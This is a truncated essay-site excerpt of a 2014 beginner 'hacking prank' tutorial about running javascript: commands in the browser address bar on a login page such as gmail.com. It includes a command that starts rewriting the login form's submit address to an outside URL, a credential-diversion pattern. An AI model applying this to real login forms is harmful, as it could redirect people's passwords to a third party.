Basic Hacking: Javascript Injection Prank

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Issue:

Technology

 

Written by:

Bryan R

 

Date added:

September 24, 2014

 

Level:

 

Grade:

A

 

No of pages / words:

3 / 598

 

Was viewed:

4715 times

 

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Essay content:

we set a variable to a and made it alert the value of a. now heres where it gets more advanced. go to a page with a login form like gmail.com and type this into the url bar javascript:alert(document.forms[0].action) the document function as you might have guessed documents something. as for the forms[0], your asking for the form (a type of html tag for those who dont know) and the number 0 (the first one on the page)...
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as for the forms[0], your asking for the form (a type of html tag for those who dont know) and the number 0 (the first one on the page). and the action is where the form submits too. now what were to happen if we were to change this value through a void, try it javascript:void(document.forms[0].action="http://www...
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